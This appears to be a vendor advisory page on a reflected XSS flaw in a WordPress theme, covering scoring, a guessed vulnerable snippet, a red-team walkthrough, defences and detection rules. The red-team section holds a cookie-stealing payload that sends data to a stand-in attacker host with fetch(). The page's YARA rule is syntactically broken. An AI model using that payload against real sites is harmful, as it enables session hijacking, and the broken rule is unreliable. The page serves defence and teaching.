CVE-2024-3867
Executive Summary
CVE-2024-3867 is a reflected Cross-Site Scripting (XSS) vulnerability in the archive-tainacan-collection theme for WordPress, version 2.7.2. The flaw arises from the insecure use of add_query_arg without proper output escaping on URL parameters. An unauthenticated attacker can craft a malicious link that, when clicked by a logged-in user (e.g., an administrator), executes arbitrary JavaScript in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability is classified as a WordPress ecosystem issue, specifically within the theme's codebase.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin/theme ecosystem. The archive-tainacan-collection theme is distributed via the official WordPress theme repository. Users should verify they are not running version 2.7.2 and monitor for updates from the vendor (Tainacan). No package manager (NPM, PyPI, Go, Ruby) is involved.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – The attack is performed remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: None (PR:N) – Unauthenticated attacker.
- User Interaction: Required (UI:R) – Victim must click a crafted link.
- Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited data exposure.
- Integrity Impact: Low (I:L) – Limited modification of content.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. While the CVSS score is moderate, the lack of authentication requirements and the potential for privilege escalation via session hijacking elevate the risk in real-world scenarios.
Deep Dive & Mechanics
The vulnerability resides in the archive-tainacan-collection WordPress theme, specifically in how it constructs URLs using the add_query_arg function. In PHP, add_query_arg is used to append query parameters to a URL. However, if the parameter values are not properly escaped before being output into HTML, an attacker can inject malicious JavaScript.
Root Cause: The theme likely uses add_query_arg to build a URL that is then echoed directly into the page without passing through esc_url() or esc_html(). For example:
// Vulnerable code (conceptual)
$url = add_query_arg( 'filter', $_GET['filter'], home_url() );
echo '<a href="' . $url . '">Click here</a>';
An attacker can supply a value like "><script>alert(1)</script> for the filter parameter, resulting in:
<a href="http://example.com/?filter="><script>alert(1)</script>">Click here</a>
When the victim clicks the link, the script executes.
WordPress Context: This is a WordPress theme vulnerability, not a core or server issue. The theme's developer failed to follow WordPress coding standards for output escaping.
Vulnerable vs. Patched Code
Vulnerable Code (version 2.7.2):
// In archive-tainacan-collection theme, likely in a template file
$current_url = add_query_arg( 'order', $_GET['order'], get_permalink() );
echo '<a href="' . $current_url . '">Sort</a>';
Patched Code (hypothetical fix):
// Properly escape the URL
$current_url = add_query_arg( 'order', sanitize_text_field( $_GET['order'] ), get_permalink() );
echo '<a href="' . esc_url( $current_url ) . '">Sort</a>';
The fix involves:
- Sanitizing the input with
sanitize_text_field()or similar. - Escaping the output with
esc_url()to ensure the URL is safe for HTML attributes.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Craft the malicious URL:
http://target-site.com/?filter=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>Deliver the link: Use social engineering (e.g., phishing email, forum post) to trick a logged-in WordPress admin into clicking.
Payload execution: The victim's browser executes the injected JavaScript, sending their session cookie to the attacker's server.
Session hijacking: The attacker uses the stolen cookie to impersonate the admin and gain full control of the WordPress site.
Lab Setup:
- Install WordPress with the
archive-tainacan-collectiontheme version 2.7.2. - Use a local web server (e.g., XAMPP) and a tool like Burp Suite to intercept and modify requests.
- Set up a listener (e.g., Netcat) to capture exfiltrated data.
Blue Team (Defense & Detection)
- Web Application Firewall (WAF): Deploy rules to block reflected XSS patterns (e.g.,
<script>in query parameters). - Input Validation: Ensure all user-supplied data is sanitized before use.
- Output Escaping: Use WordPress functions like
esc_url(),esc_html(), andesc_attr(). - Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
- User Education: Train users to avoid clicking suspicious links.
Indicators of Compromise (IOCs)
- Network: HTTP requests containing
<script>tags in query parameters (e.g.,?filter=<script>...). - Logs: Web server access logs showing unusual query strings with JavaScript payloads.
- File: Modified WordPress files (e.g., theme templates) if the attacker gains write access.
- Cookie: Unexpected changes in session cookies or multiple logins from different IPs.
Detection Engineering
YARA Rule
rule CVE_2024_3867_Reflected_XSS {
meta:
description = "Detects reflected XSS attempts targeting CVE-2024-3867 in WordPress archive-tainacan-collection theme"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-3867"
strings:
$payload1 = /<script[^>]*>.*?<\/script>/is
$payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
$payload3 = /javascript\s*:/i
condition:
any of ($payload*) and
// Look for the vulnerable parameter 'filter' or 'order'
for any of ($payload*) : (
# contains "filter=" or "order="
)
}
Sigma Rule
title: Reflected XSS Attempt Against CVE-2024-3867
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads targeting the archive-tainacan-collection theme
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- 'filter='
- 'order='
c-uri|re: '(<script|onerror|javascript:)'
condition: selection
falsepositives:
- Legitimate use of JavaScript in query strings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-3867 Reflected XSS Attempt"; flow:to_server; content:"filter="; nocase; content:"<script"; nocase; distance:0; within:100; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the
archive-tainacan-collectiontheme version 2.7.2 and switch to a default WordPress theme (e.g., Twenty Twenty-Four) until a patch is released. - Vendor Patch: Contact Tainacan for an updated version. If unavailable, manually patch the vulnerable code by adding
esc_url()and input sanitization. - Virtual Patching: Use a WAF to block requests containing XSS patterns in query parameters.
- Monitoring: Enable detailed logging for web requests and review for suspicious activity.
- User Awareness: Educate users about phishing attacks that exploit reflected XSS.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.